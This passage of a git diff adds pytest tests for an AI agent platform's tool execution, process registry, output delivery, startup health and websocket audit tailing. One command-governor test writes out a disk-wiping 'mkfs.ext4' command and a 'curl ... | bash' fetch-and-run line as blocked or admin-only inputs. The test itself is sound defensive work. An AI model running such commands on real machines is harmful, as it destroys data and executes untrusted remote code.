executor._execute_inner = AsyncMock(return_value=ToolResult(output="inert")) + # Instance handlers are a supported inert seam, avoiding real host leases. + setattr(executor, "_handle_" + tool, AsyncMock()) + await _execute_tool_captured( + tool, payload, executor, Skills(), None, None, "tester", requester_id="123", + ) + prepared = executor._execute_inner.await_args.args[1] + assert prepared.get("host") == expected_host + if expected_host is None: + assert "host" not in prepared + + +@pytest.mark.parametrize("wrapper", ["delegate_task", "schedule_task", "update_schedule"]) +@pytest.mark.parametrize("payload", [{}, {"count": "wrong"}]) +def test_nested_invoke_skill_validates_selected_schema(wrapper, payload): + step = {"tool_name": "invoke_skill", "tool_input": {"name": "needs_count", "input": payload}} + with pytest.raises(ValueError, match="invalid input"): + validate_nested_payload( + wrapper, {"steps": [step]}, skill_catalog(), allow_placeholders=False, + ) + + +def test_nested_skill_wire_json_decodes_without_mutating_original(): + args = {"steps": [{"tool_name": "invoke_skill", "tool_input": { + "name": "needs_count", "input": '{"count":3}', + }}]} + result = validate_nested_payload("delegate_task", args, skill_catalog()) + assert result["steps"][0]["tool_input"]["input"] == {"count": 3} + assert args["steps"][0]["tool_input"]["input"] == '{"count":3}' + + +def test_templated_selected_skill_name_defers_until_concrete_execution(): + args = {"steps": [{"tool_name": "invoke_skill", "tool_input": { + "name": "{var.selected}", "input": {"count": 3}, + }}]} + assert validate_nested_payload("delegate_task", args, skill_catalog()) == args + with pytest.raises(ValueError, match="unknown tool"): + validate_nested_payload("delegate_task", args, skill_catalog(), allow_placeholders=False) + + +@pytest.mark.parametrize("strict", [False, True]) +async def test_delegated_invalid_selected_skill_never_executes(strict): + executor, skills = Executor(), Skills() + task = BackgroundTask(task_id="test", description="schema", requester="tester", + requester_id="123", channel=FakeChannel(id=555), steps=[ + {"tool_name": "invoke_skill", + "tool_input": {"name": "needs_count", "input": {}}}, + ]) + task.nested_payload_validated = strict + await run_background_task(task, executor, skills) + assert task.status == "failed" + assert skills.calls == [] + + +async def test_valid_selected_skill_executes_with_integer_input(): + skills = Skills() + result = await _execute_tool_captured( + "invoke_skill", {"name": "needs_count", "input": {"count": 3}}, + Executor(), skills, None, None, "tester", requester_id="123", + ) + assert result == "done" + assert skills.calls == [("needs_count", {"count": 3})] + + +async def test_scheduled_concrete_skill_schema_rechecked_before_dispatch(): + loop = MagicMock(dispatch_loop_tool_inner=AsyncMock()) + loop._tool_catalog.merged_definitions.return_value = skill_catalog() + handler = _handlers(tool_loop=loop) + assert not await handler._run_scheduled_workflow(FakeChannel(id=555), { + "_nested_payload_validated": True, "steps": [{"tool_name": "invoke_skill", + "tool_input": {"name": "needs_count", "input": {}}}], + }) + loop.dispatch_loop_tool_inner.assert_not_awaited() + + +def test_update_workflow_strict_transport_preserves_condition_and_failure_policy(): + adapter = compile_catalog(get_tool_definitions()) + schema = next( + tool["parameters"] for tool in adapter.wire_tools if tool["name"] == "update_schedule" + ) + args = {key: None for key in schema["properties"]} + steps_schema = next( + branch for branch in schema["properties"]["steps"]["anyOf"] if branch.get("type") == "array" + ) + step = {key: None for key in steps_schema["items"]["properties"]} + step.update(tool_name="run_command", tool_input=json.dumps({"command": "inert"}), + condition="READY", on_failure="continue") + args.update(schedule_id="schedule", steps=[step]) + result = adapter.accept("update_schedule", args) + assert result["steps"][0] == {"tool_name": "run_command", "tool_input": {"command": "inert"}, + "condition": "READY", "on_failure": "continue"} diff --git a/tests/test_campaign_startup_auth.py b/tests/test_campaign_startup_auth.py new file mode 100644 index 000000000..43d5bf4e8 --- /dev/null +++ b/tests/test_campaign_startup_auth.py @@ -0,0 +1,30 @@ +import json + +import pytest + +from src.config.schema import Config +from src.health.startup import check_config_sections, run_startup_diagnostics +from src.permissions.token_manager import ApiTokenManager + + +def test_startup_auth_recognizes_static_user_token_without_shared_token(): + cfg = Config(discord={"token": "gateway"}, web={"enabled": True, "api_tokens": [ + {"token": "test-static-marker", "user_id": "123", "tier": "user"}, + ]}) + result = check_config_sections(cfg) + assert result.passed + assert "test-static-marker" not in json.dumps(result.to_dict()) + + +@pytest.mark.asyncio +async def test_runtime_dynamic_inventory_reaches_startup_auth_check(tmp_path, monkeypatch): + monkeypatch.chdir(tmp_path) + manager = ApiTokenManager(str(tmp_path / "tokens.json")) + identity = await manager.create_token("123", tier="user") + cfg = Config(discord={"token": "gateway"}, web={"enabled": True}) + assert not check_config_sections(cfg).passed + report = run_startup_diagnostics(yaml_config=cfg, + credential_inventory=manager.credential_inventory) + result = next(r for r in report.results if r.name == "config_consistency") + assert result.passed + assert identity.token not in json.dumps(result.to_dict()) diff --git a/tests/test_campaign_startup_health.py b/tests/test_campaign_startup_health.py new file mode 100644 index 000000000..1452cc0ab --- /dev/null +++ b/tests/test_campaign_startup_health.py @@ -0,0 +1,50 @@ +import json +import logging +import sqlite3 +from types import SimpleNamespace + +import pytest +from aiohttp.test_utils import make_mocked_request + +from src.__main__ import _wire_observability +from src.config.schema import Config, WebhookConfig +from src.health.server import HealthServer +from src.health.startup import check_knowledge_db + + +def test_knowledge_diagnostic_rejects_corrupt_existing_database(tmp_path): + path = tmp_path / "knowledge.db" + path.write_bytes(b"not a SQLite database") + cfg = SimpleNamespace(enabled=True, search_db_path=str(tmp_path)) + result = check_knowledge_db(cfg) + assert not result.passed + assert "SQLite cannot open knowledge DB" in result.detail + assert path.read_bytes() == b"not a SQLite database" + + +@pytest.mark.asyncio +@pytest.mark.parametrize("gateway_token, ready_status", [("", 200), ("configured", 503)]) +async def test_production_health_wiring_keeps_http_bootstrap_ready(gateway_token, ready_status): + bot = SimpleNamespace(config=Config(discord={"token": gateway_token}), latency=float("nan"), + is_ready=lambda: False) + server = HealthServer(port=0, webhook_config=WebhookConfig(enabled=False)) + _wire_observability(server, bot, logging.getLogger("test")) + server.set_ready(True) + response = await server._health_ready(make_mocked_request("GET", "/health/ready")) + assert response.status == ready_status + component = json.loads(response.text)["components"]["discord"] + assert component["healthy"] is (not bool(gateway_token)) + if not gateway_token: + assert component["detail"] == "not configured (HTTP-only mode)" + + +def test_knowledge_diagnostic_accepts_first_run_and_valid_schema(tmp_path): + cfg = SimpleNamespace(enabled=True, search_db_path=str(tmp_path)) + assert check_knowledge_db(cfg).passed + conn = sqlite3.connect(tmp_path / "knowledge.db") + try: + conn.execute("CREATE TABLE chunks (id INTEGER PRIMARY KEY, content TEXT)") + conn.commit() + finally: + conn.close() + assert check_knowledge_db(cfg).passed diff --git a/tests/test_campaign_system_coverage_restore.py b/tests/test_campaign_system_coverage_restore.py new file mode 100644 index 000000000..87b6f5ba4 --- /dev/null +++ b/tests/test_campaign_system_coverage_restore.py @@ -0,0 +1,212 @@ +"""Real handler admission/settlement against an inert process-registry seam.""" + +from types import SimpleNamespace +from unittest.mock import AsyncMock, Mock + +import pytest + +from src.config.schema import ToolHost, ToolsConfig +from src.tools.handlers.system import SystemTools +from src.tools.hosts import HostRegistry +from src.tools.output_authorization import host_binding + + +@pytest.fixture +def system(tmp_path): + hosts = HostRegistry({"fake": ToolHost(address="127.0.0.1", user="fixture")}, + trust_dir=tmp_path / "trust") + target = hosts.get("fake") + info = SimpleNamespace(pid=123, generation="fixture-generation", host_alias="fake", + host="127.0.0.1", owner_id="reader", origin_channel="", + scope_id="", host_binding=host_binding(target), + host_identity=target.runtime_key) + lease = SimpleNamespace(target=target, revoked=False, release=Mock()) + registry = SimpleNamespace(output_info=Mock(return_value=info), cleanup=Mock(), + start=AsyncMock(return_value="Process started (PID 123)"), + start_remote=AsyncMock(return_value="Process started (PID 123)"), + terminate_generation=AsyncMock(return_value=True), + write=AsyncMock(return_value="Wrote 1 byte"), + kill=AsyncMock(return_value="Killed process 123"), + list_all=Mock(return_value="fixture list")) + + async def poll(_pid, **kwargs): + assert kwargs["authorized"](info) + assert kwargs["acquire_output_lease"]() is lease + return "fixture output" + + registry.poll = AsyncMock(side_effect=poll) + handler = SystemTools.__new__(SystemTools) + handler._deps = SimpleNamespace(process_registry=lambda: registry, host_registry=lambda: hosts, + current_user_id=lambda: "reader", config=lambda: ToolsConfig(), + host_access=lambda: None, branch_freshness_enabled=lambda: True, + output_streamer=lambda: None) + handler._resolve_host = Mock(return_value=("127.0.0.1", "fixture", "linux")) + handler._acquire_host = Mock(return_value=lease) + handler._resolve_default_host = Mock(return_value="fake") + handler._govern_command = Mock(return_value=(True, "", "")) + handler._exec_command = AsyncMock(return_value=(1, "FAILED test_fixture")) + handler._annotate_with_freshness = AsyncMock( + side_effect=lambda output, *a: output + "\nannotated") + handler._run_on_host = AsyncMock(return_value=("output", 0)) + return handler, registry, info, lease + + +@pytest.mark.asyncio +@pytest.mark.parametrize("action,extra,expected", [ + ("start", {}, "command is required"), + ("start", {"command": "fixture"}, "host is required"), + ("poll", {}, "pid is required"), + ("write", {}, "pid is required"), + ("kill", {}, "pid is required"), + ("unknown", {}, "Unknown action"), +]) +async def test_process_missing_arguments(system, action, extra, expected): + handler, registry, _, _ = system + text, code = await handler._handle_manage_process({"action": action, **extra}) + assert code == 1 and expected in text + registry.start.assert_not_awaited() + registry.kill.assert_not_awaited() + + +@pytest.mark.asyncio +@pytest.mark.parametrize("wait", [True, "1", -1, 121, float("nan"), float("inf")]) +async def test_invalid_wait_never_reaches_registry(system, wait): + handler, registry, _, _ = system + text, code = await handler._handle_manage_process({"action": "poll", "pid": 123, + "wait_seconds": wait}) + assert code == 1 and "wait_seconds must be" in text + registry.poll.assert_not_awaited() + + +@pytest.mark.asyncio +@pytest.mark.parametrize("action,extra,result,code", [ + ("poll", {}, "fixture output", 0), + ("write", {"input_text": "fixture"}, "Wrote 1 byte", 0), + ("write", {}, "input_text is required for write action.", 1), + ("kill", {}, "Killed process 123", 0), + ("list", {}, "fixture list", 0), +]) +async def test_process_actions_preserve_results(system, action, extra, result, code): + handler, _, _, lease = system + actual = await handler._handle_manage_process({"action": action, "pid": 123, **extra}) + assert actual == (result, code) + if action == "poll": + lease.release.assert_called_once() + + +@pytest.mark.asyncio +@pytest.mark.parametrize("action,answer", [("write", "Failed to write fixture"), + ("kill", "Process 123 already exited"), + ("poll", "No process with PID 123")]) +async def test_registry_refusals_are_not_success(system, action, answer): + handler, registry, _, _ = system + getattr(registry, action).side_effect = None + getattr(registry, action).return_value = answer + result = await handler._handle_manage_process({"action": action, "pid": 123, + "input_text": "fixture"}) + assert result == (answer, 1) + + +@pytest.mark.asyncio +@pytest.mark.parametrize("action", ["poll", "write", "kill"]) +async def test_other_owner_cannot_touch_process(system, action): + handler, registry, info, _ = system + info.owner_id = "other" + assert await handler._handle_manage_process({"action": action, "pid": 123}) == ( + "Error: process access denied.", 1) + getattr(registry, action).assert_not_awaited() + + +@pytest.mark.asyncio +@pytest.mark.parametrize("remote", [False, True]) +async def test_start_selects_correct_registry_transport(system, remote): + handler, registry, _, lease = system + if remote: + handler._resolve_host.return_value = ("example.test", "fixture", "linux") + assert await handler._handle_manage_process({"action": "start", "host": "fake", + "command": "fixture"}) == ( + "Process started (PID 123)", 0) + selected = registry.start_remote if remote else registry.start + selected.assert_awaited_once() + assert selected.call_args.kwargs["host_binding"] == host_binding(lease.target) + lease.release.assert_not_called() + + +@pytest.mark.asyncio +@pytest.mark.parametrize("revoked,missing", [(True, False), (False, True)]) +async def test_invalid_start_lease_prevents_dispatch(system, revoked, missing): + handler, registry, _, lease = system + lease.revoked = revoked + if missing: + handler._acquire_host.return_value = None + text, code = await handler._handle_manage_process({"action": "start", "host": "fake", + "command": "fixture"}) + assert code == 1 + assert "disallowed host" in text if missing else "access denied" in text + registry.start.assert_not_awaited() + if revoked: + lease.release.assert_called_once() + + +@pytest.mark.asyncio +async def test_local_start_refusal_releases_unowned_lease(system): + handler, registry, _, lease = system + registry.start.return_value = "Cannot start fixture" + result = await handler._handle_manage_process({"action": "start", "host": "fake", + "command": "fixture"}) + assert result == ("Cannot start fixture", 1) + lease.release.assert_called_once() + + +@pytest.mark.asyncio +@pytest.mark.parametrize("released", [True, False]) +async def test_start_revocation_settles_exact_generation(system, released): + handler, registry, info, _ = system + + async def start(*a, **kw): + info.owner_id = "revoked" + return "Process started (PID 123)" + + registry.start.side_effect = start + registry.terminate_generation.return_value = released + text, code = await handler._handle_manage_process({"action": "start", "host": "fake", + "command": "fixture"}) + assert code == 1 + assert ("was terminated" if released else "outcome_unknown=true") in text + registry.terminate_generation.assert_awaited_once_with("fixture-generation") + + +@pytest.mark.asyncio +async def test_default_command_and_failed_script_are_annotated(system): + handler, _, _, _ = system + command, code = await handler._handle_run_command({"command": "pytest tests/fixture.py"}) + assert code == 1 and command.endswith("annotated") + script, code = await handler._handle_run_script({"script": "pytest tests/fixture.py"}) + assert code == 1 and script.startswith("Script failed") and script.endswith("annotated") + assert handler._exec_command.await_count == 2 + + +@pytest.mark.asyncio +async def test_all_hosts_multi_transport_failure_is_aggregate_failure(system): + handler, _, _, _ = system + handler._run_on_host.side_effect = RuntimeError("fixture transport failed") + text, code = await handler._handle_run_command_multi({"hosts": ["all"], "command": "fixture"}) + assert code == 1 and "fixture transport failed" in text + + +@pytest.mark.asyncio +async def test_agent_images_stay_out_of_text_telemetry(): + from src.agents.tool_cycle import execute_cycle + from src.tools.result_validator import ToolResult + from tests.test_campaign_evidence_review import _agent + + agent = _agent() + image = {"type": "image", "source": {"type": "base64", "data": "fixture-image"}} + records = [] + await execute_cycle(agent, [{"id": "fixture", "name": "fixture", "input": {}}], + AsyncMock(return_value=ToolResult("image evidence", image_blocks=(image,))), + records, timeouts={}, default_timeout=10) + assert records[0]["ok"] and records[0]["result"] == "image evidence" + assert "fixture-image" not in str(records) + assert agent.messages[1]["content"][1] == image + assert "call fixture" in agent.messages[1]["content"][0]["text"] diff --git a/tests/test_campaign_tools_coverage_restore.py b/tests/test_campaign_tools_coverage_restore.py new file mode 100644 index 000000000..13b3f7dde --- /dev/null +++ b/tests/test_campaign_tools_coverage_restore.py @@ -0,0 +1,302 @@ +"""Outcome provenance and failure-boundary contracts, without live effects.""" + +import asyncio +import base64 +import hashlib +import json +from types import SimpleNamespace +from unittest.mock import AsyncMock, MagicMock + +import pytest + +from src.tools import execution_outcome as outcome +from src.tools import output_delivery as delivery +from src.tools.output_retention import BinarySnapshot +from src.tools.result_validator import ToolResult + + +@pytest.mark.asyncio +async def test_nested_result_provenance_is_invocation_local(): + evidence = outcome.DispatchEvidence() + token = outcome.dispatch_evidence.set(evidence) + try: + assert outcome.result_text(ToolResult(output="ordinary", ok=True)) == "ordinary" + failure = outcome.result_text(ToolResult(output="custom failure", ok=False)) + assert isinstance(failure, outcome.ToolFailure) + assert not evidence.uncertain + + async def nested(): + return outcome.result_text(ToolResult(output="unsettled", ok=True, + uncertain_outcome=True)) + + uncertain = await asyncio.create_task(nested()) + assert uncertain == "unsettled" + assert isinstance(uncertain, outcome.ToolSuccess) + assert uncertain.uncertain_outcome + assert evidence.uncertain + evidence.uncertain = False + assert outcome.result_text(uncertain) is uncertain + assert evidence.uncertain + assert outcome.result_text(42) == "42" + finally: + outcome.dispatch_evidence.reset(token) + outcome.mark_dispatch_uncertain() + assert outcome.dispatch_evidence.get() is None + + +def test_evidence_identity_survives_delivery_and_separates_unretainable_sources(): + rendered = delivery.DeliveredOutput("preview", evidence_digest="captured-identity") + assert delivery.evidence_digest(rendered) == "captured-identity" + matches = ("a" * 2_100_000, "b" * 2_100_000) + ranked = delivery.RankedOutput("summary", matches=matches) + expected = hashlib.sha256(b"unretainable-source\0" + "\n\n".join(matches).encode()).hexdigest() + assert delivery.evidence_digest(ranked) == expected + assert delivery.evidence_digest(ranked) != delivery.evidence_digest("summary") + + +@pytest.mark.parametrize("budget", [100, 45, 2, 1]) +def test_tiny_failure_envelopes_never_claim_a_continuation(budget): + output = delivery.delivery_failure("cannot retain", text="x" * 500, budget=budget) + assert len(output) <= budget + assert output.truncated + assert output.evidence_digest == delivery.evidence_digest("x" * 500) + if output: + assert json.loads(output).get("cursor") is None + + +def test_ambiguous_partial_tail_is_not_exposed(): + output = delivery.delivery_failure("quota", text="credential=" + "a" * 5000, + budget=1024) + page = json.loads(output) + assert "partial line omitted" in page["tail"]["text"] + assert page["cursor"] is None + + +def test_binary_pagination_preserves_every_byte_and_budget(): + data = bytes(range(256)) * 10 + snapshot = BinarySnapshot(result_id="fixture", data=data, + sha256=hashlib.sha256(data).hexdigest(), + expires_at=2_000_000_000, status="succeeded", content_index=1, + kind="image", media_type="image/png", owner="reader", + channel="channel", tool="fixture", hosts=()) + recovered = bytearray() + offset = 0 + while True: + output = delivery.render_page(snapshot, offset=offset, budget=1024, limit=4000) + assert len(output) <= 1024 + page = json.loads(output) + assert page["start"] == offset + assert page["sha256"] == snapshot.sha256 + recovered.extend(base64.b64decode(page["data_base64"])) + offset = page["end"] + if not page["truncated"]: + assert page["cursor"] is None + break + assert page["cursor"] == f"fixture:{offset}" + assert bytes(recovered) == data + failed = json.loads(delivery.render_binary_page(snapshot, budget=100, limit=4)) + assert failed["retention"] == "failed" + assert failed["cursor"] is None + + +@pytest.mark.asyncio +async def test_skill_legacy_tuple_and_requester_schedule_contract(tmp_path): + from src.tools.skill_context import SkillContext + + executor = SimpleNamespace(_run_on_host=AsyncMock(return_value=("legacy output", 7))) + scheduler = SimpleNamespace(add=AsyncMock(return_value={"id": "fake"})) + context = SkillContext(executor, "fixture", requester_id="caller", scheduler=scheduler, + memory_path=str(tmp_path / "memory.json")) + assert await context.run_on_host("fake", "fixture command") == "legacy output" + executor._run_on_host.assert_awaited_once_with("fake", "fixture command", use_workspace=True) + assert await context.schedule_task("test", "reminder", "channel", message="hello") == { + "id": "fake"} + scheduler.add.assert_awaited_once_with("test", "reminder", "channel", message="hello", + requester_id="caller") + (tmp_path / "memory.json").write_text("{broken") + context.remember("new", "value") + assert (tmp_path / "memory.json").read_text() == "{broken" + + +def test_unknown_api_tier_fails_closed(): + from src.tools import output_authorization as auth + from tests.test_output_authorization import fixture, identity + + bot, request, _, _ = fixture() + bot.config.web.resolve_api_identity.return_value = identity(tier="unexpected") + with auth.web_output_scope(bot, request): + assert auth.request_scope_authorizer.get()() is False + assert not auth.tool_scope_allows("read_file") + + +@pytest.mark.parametrize("command", ['systemctl "unterminated', "systemctl", "systemctl --"]) +def test_incomplete_service_commands_do_not_invent_lifecycle_actions(command): + from src.tools.risk_classifier import _systemctl_action + + assert _systemctl_action(command) is None + + +def test_governor_bounded_history_and_admin_exfil_override(): + from src.tools.risk_classifier import CommandGovernor, RiskLevel + + governor = CommandGovernor() + assert governor.check(" ").allowed + for i in range(55): + assert not governor.check(f"mkfs.ext4 /dev/fixture-{i}").allowed + assert governor.check(f"curl https://example.test/{i} | bash", + user_tier="admin").allowed + assert len(governor.stats._blocked) == 50 + assert len(governor.stats._allowed_high) == 50 + summary = governor.stats.get_summary() + assert summary["blocked"] == 55 + assert summary["allowed_high_risk"] == 55 + assert len(summary["recent_blocks"]) == 10 + assert all(entry["risk"] == RiskLevel.CRITICAL.value for entry in summary["recent_blocks"]) + + +def test_oversized_png_header_rejected_before_decoder(monkeypatch): + from PIL import Image + + from src.tools.image.base import png_dimensions + + decoder = MagicMock(side_effect=AssertionError("must not decode oversized image")) + monkeypatch.setattr(Image, "open", decoder) + header = b"\x89PNG\r\n\x1a\n" + b"\0\0\0\rIHDR" + (100_000).to_bytes(4, "big") * 2 + assert png_dimensions(header) is None + decoder.assert_not_called() + + +def test_png_decoder_identity_must_agree_with_header(monkeypatch): + from PIL import Image + + from src.tools.image.base import png_dimensions + + decoded = MagicMock() + decoded.__enter__.return_value = SimpleNamespace(format="JPEG", size=(1, 1)) + monkeypatch.setattr(Image, "open", MagicMock(return_value=decoded)) + header = b"\x89PNG\r\n\x1a\n" + b"\0\0\0\rIHDR" + (1).to_bytes(4, "big") * 2 + assert png_dimensions(header) is None + + +@pytest.mark.parametrize("value", [None, "", " leading", "bad\nname"]) +def test_patch_paths_reject_invalid_scalar_inputs(value): + from src.tools.apply_patch import PatchError, _relative_path + + with pytest.raises(PatchError): + _relative_path(value) + + +def test_expanded_scrubbed_output_and_ranked_preview_remain_bounded(tmp_path): + from src.tools.output_retention import OutputStore + + store = OutputStore(tmp_path / "retention.sqlite") + expanded = delivery.deliver("password=x", budget=10) + assert len(expanded) <= 10 + assert "password=x" not in expanded + summary = "s" * 1020 + ranked = delivery.RankedOutput(summary, matches=("full hidden match",)) + delivered = delivery.deliver(ranked, store=store, budget=1024, + owner="reader", channel="channel", tool="fixture") + assert len(delivered) <= 1024 + assert "[...]" in delivered + assert "get_tool_output cursor=" in delivered + + +def test_large_metadata_cannot_escape_page_budget(): + snapshot = SimpleNamespace(text="", result_id="x" * 2000, expires_at=2_000_000_000, + status="succeeded", boundaries=()) + rendered = delivery.render_page(snapshot, budget=1024) + assert len(rendered) <= 1024 + assert json.loads(rendered)["retention"] == "failed" + snapshot.text = "a" * 4000 + rendered = delivery.render_page(snapshot, budget=1024, initial=True) + assert len(rendered) <= 1024 + assert json.loads(rendered)["cursor"] is None + + +@pytest.mark.asyncio +async def test_skill_host_inventory_uses_registry_or_requester_scope(tmp_path): + from src.config.schema import ToolHost + from src.tools.hosts import HostRegistry + from src.tools.skill_context import SkillContext + + registry = HostRegistry({"fixture": ToolHost(address="example.test", user="test")}, + trust_dir=tmp_path / "trust") + executor = SimpleNamespace(host_registry=registry) + context = SkillContext(executor, "fixture") + assert context.get_hosts() == ["fixture"] + executor._host_access = SimpleNamespace(get_allowed_hosts=MagicMock(return_value=["scoped"])) + context._requester_id = "caller" + assert context.get_hosts() == ["scoped"] + executor._host_access.get_allowed_hosts.assert_called_once_with("caller") + executor._run_on_host = AsyncMock(return_value="scalar legacy output") + assert await context.run_on_host("fixture", "fixture command") == "scalar legacy output" + + +@pytest.mark.asyncio +@pytest.mark.parametrize("resolved", [None, ("fake", "user", "linux")]) +async def test_stream_finish_failure_does_not_replace_command_result(resolved): + from src.tools.handlers.system import SystemTools + + finish = AsyncMock(side_effect=RuntimeError("streamer disconnected")) + streamer = SimpleNamespace(is_enabled=lambda _: True, + create_callback=lambda *a, **kw: (None, None, finish)) + handler = SystemTools.__new__(SystemTools) + handler._deps = SimpleNamespace(output_streamer=lambda: streamer, + branch_freshness_enabled=lambda: False) + handler._resolve_host = lambda _: resolved + handler._govern_command = lambda *a: (True, "", "") + handler._exec_command = AsyncMock(return_value=(0, "captured output")) + result = await handler._handle_run_command({"command": "fixture command", "host": "fake"}) + if resolved is None: + assert result == "Unknown or disallowed host: fake" + handler._exec_command.assert_not_awaited() + else: + assert result == ("captured output", 0) + handler._exec_command.assert_awaited_once() + finish.assert_awaited_once() + + +@pytest.mark.asyncio +async def test_trajectory_reader_rejects_external_symlink_and_bad_records(tmp_path): + from src.trajectories.saver import TrajectorySaver, _parse_json_lines + + directory = tmp_path / "traces" + directory.mkdir() + outside = tmp_path / "outside.jsonl" + outside.write_text('{"secret": "not authorized"}\n') + (directory / "linked.jsonl").symlink_to(outside) + saver = TrajectorySaver(str(directory)) + assert await saver.read_file("linked.jsonl") == [] + assert await saver.search(limit=0) == [] + assert _parse_json_lines([b"broken", b"\xff", b"[]", b'{"valid": true}']) == [{"valid": True}] + (directory / "plain.jsonl").write_text('[]\n42\n{"valid": true}\n') + assert await saver.read_file("plain.jsonl") == [{"valid": True}] + + +@pytest.mark.asyncio +@pytest.mark.parametrize("filters", [{"user_id": "wanted"}, {"tool_name": "wanted"}, + {"errors_only": True}]) +async def test_trajectory_full_batches_preserve_filtering(tmp_path, filters): + from src.trajectories.saver import TrajectorySaver + + entry = {"user_id": "wanted", "tools_used": ["wanted"], "is_error": True} + rejected = {"user_id": "other", "tools_used": [], "is_error": False, + "payload": "x" * 40000} + (tmp_path / "fixture.jsonl").write_text(json.dumps(entry) + "\n" + json.dumps(rejected) + "\n") + saver = TrajectorySaver(str(tmp_path)) + assert await saver.search(**filters) == [entry] + + +@pytest.mark.asyncio +async def test_skill_url_install_transport_rejection_does_not_execute(tmp_path, monkeypatch): + from src.tools import safe_fetch + from src.tools.skill_manager import SkillManager + + manager = SkillManager(str(tmp_path), MagicMock()) + fetch = AsyncMock(side_effect=safe_fetch.BlockedAddressError("blocked")) + monkeypatch.setattr(safe_fetch, "safe_fetch", fetch) + result = await manager.install_from_url("https://example.test/skill.py") + assert "blocked URL" in result + assert manager.list_skills() == [] + fetch.assert_awaited_once() diff --git a/tests/test_campaign_usage_lock.py b/tests/test_campaign_usage_lock.py new file mode 100644 index 000000000..4337161b8 --- /dev/null +++ b/tests/test_campaign_usage_lock.py @@ -0,0 +1,41 @@ +import sqlite3 +from concurrent.futures import ThreadPoolExecutor +from datetime import UTC, datetime + +import pytest + +from src.usage.rollup import UsageRollup + + +@pytest.mark.parametrize("failure", ["open", "pragma"]) +def test_failed_ingestion_releases_lock_for_other_worker(tmp_path, monkeypatch, failure): + rollup = UsageRollup(str(tmp_path / "usage"), trajectory_directory=str(tmp_path / "turns"), + agent_trajectory_directory=str(tmp_path / "agents"), audit=None) + real_connect = sqlite3.connect + closed = [] + + class BrokenPragmaConnection: + def execute(self, sql): + raise sqlite3.OperationalError("injected pragma failure") + + def close(self): + closed.append(True) + + def failing_connect(*args, **kwargs): + if failure == "open": + raise sqlite3.OperationalError("injected open failure") + return BrokenPragmaConnection() + + record = {"message_id": "m1", "channel_id": "c1", "source": "discord", + "timestamp": datetime.now(UTC).isoformat(), "iterations": []} + monkeypatch.setattr("src.usage.rollup.sqlite3.connect", failing_connect) + with ThreadPoolExecutor(max_workers=1) as executor: + with pytest.raises(sqlite3.OperationalError): + executor.submit(rollup._ingest_trajectory, record, "turn").result(timeout=5) + # Deliberately a different thread from the original owner: RLock's + # reentrancy would otherwise conceal the leak. + assert rollup._lock.acquire(timeout=1) + rollup._lock.release() + monkeypatch.setattr("src.usage.rollup.sqlite3.connect", real_connect) + assert executor.submit(rollup._ingest_trajectory, record, "turn").result(timeout=5) + assert bool(closed) == (failure == "pragma") diff --git a/tests/test_campaign_websocket_coverage.py b/tests/test_campaign_websocket_coverage.py new file mode 100644 index 000000000..615cb6164 --- /dev/null +++ b/tests/test_campaign_websocket_coverage.py @@ -0,0 +1,93 @@ +"""Audit tail boundaries operate only on disposable logs and fake transports.""" +from types import SimpleNamespace +from unittest.mock import AsyncMock + +import pytest + +from src.web import websocket + + +class Transport: + closed = False + _odin_identity = None + _odin_policy_revoked = False + _odin_session_managed = False + + def __init__(self): + self.send_json = AsyncMock() + + +@pytest.mark.parametrize("state", ["closed", "revoked", "unreadable"]) +async def test_initial_audit_tail_stops_on_closed_revoked_or_unreadable( + tmp_path, monkeypatch, state, +): + log = tmp_path / "audit.jsonl" + log.write_text('{"event":"test"}\n') + monkeypatch.setattr(websocket, "Path", lambda _path: log) + manager = websocket.WebSocketManager(SimpleNamespace()) + ws = Transport() + if state == "closed": + ws.closed = True + elif state == "revoked": + ws._odin_policy_revoked = True + else: + from pathlib import Path + monkeypatch.setattr( + Path, "read_text", lambda *_: (_ for _ in ()).throw(OSError("test unreadable")), + ) + await manager._tail_logs(ws) + ws.send_json.assert_not_awaited() + + +async def test_audit_tail_handles_rotation_missing_file_and_read_failure(tmp_path, monkeypatch): + log = tmp_path / "audit.jsonl" + log.write_text("old audit entry\n") + monkeypatch.setattr(websocket, "Path", lambda _path: log) + manager = websocket.WebSocketManager(SimpleNamespace()) + ws = Transport() + manager._log_subscribers.add(ws) + polls = [] + from pathlib import Path + exists = Path.exists + + async def poll(_delay): + polls.append(len(polls)) + if len(polls) == 1: + log.write_text("") + elif len(polls) == 2: + pass + elif len(polls) == 3: + monkeypatch.setattr(Path, "exists", lambda _: False) + elif len(polls) == 4: + monkeypatch.setattr(Path, "exists", exists) + log.write_text("new audit entry\n") + else: + raise OSError("log storage disappeared") + + monkeypatch.setattr(websocket.asyncio, "sleep", poll) + await manager._tail_logs(ws) + assert len(polls) == 5 + assert [call.args[0]["line"] for call in ws.send_json.await_args_list] == [ + "old audit entry", "new audit entry", + ] + + +@pytest.mark.parametrize("source", ["dynamic", "static"]) +def test_compatibility_transport_without_identity_has_no_credential_authority(source): + manager = websocket.WebSocketManager(SimpleNamespace()) + ws = Transport() + ws._odin_policy_source = source + assert not manager._credential_authorized(ws) + + +def test_compatibility_static_transport_revalidates_exact_inventory_identity(): + from src.config.schema import ApiTokenIdentity, WebConfig + identity = ApiTokenIdentity(token="test", user_id="test", tier="user") + config = WebConfig(api_tokens=[identity]) + manager = websocket.WebSocketManager(SimpleNamespace(), web_config=config) + ws = Transport() + ws._odin_identity = identity + ws._odin_policy_source = "static" + assert manager._credential_authorized(ws) + config.api_tokens = [] + assert not manager._credential_authorized(ws) diff --git a/tests/test_catalog_campaign.py b/tests/test_catalog_campaign.py new file mode 100644 index 000000000..1d2d29ec9 --- /dev/null +++ b/tests/test_catalog_campaign.py @@ -0,0 +1,46 @@ +from unittest.mock import MagicMock + +import pytest + +from src.config.schema import Config, EmailConfig +from src.discord.tool_catalog import ToolCatalog +from src.tools.builtin_policy import BUILTIN_TOOL_NAMES, BuiltinToolPolicy + + +@pytest.mark.parametrize("enabled", [False, True]) +def test_browser_and_knowledge_backend_visibility(enabled): + config = Config(discord={"token": ""}, browser={"enabled": enabled}, + search={"enabled": enabled}) + names = {d["name"] for d in ToolCatalog(get_config=lambda: config, + skill_manager=MagicMock(get_tool_definitions=lambda: [])).merged_definitions()} + for name in ("browser_screenshot", "browser_read_page", "browser_read_table", "browser_click", + "browser_fill", "browser_evaluate", "search_knowledge", "ingest_document", + "bulk_ingest_knowledge", "list_knowledge", "delete_knowledge"): + assert (name in names) is enabled + + +def test_email_visibility_tracks_effective_startup_backend_after_desired_save(): + desired = Config(discord={"token": ""}, email={"enabled": True}) + effective = EmailConfig(enabled=False) + catalog = ToolCatalog(get_config=lambda: desired, + 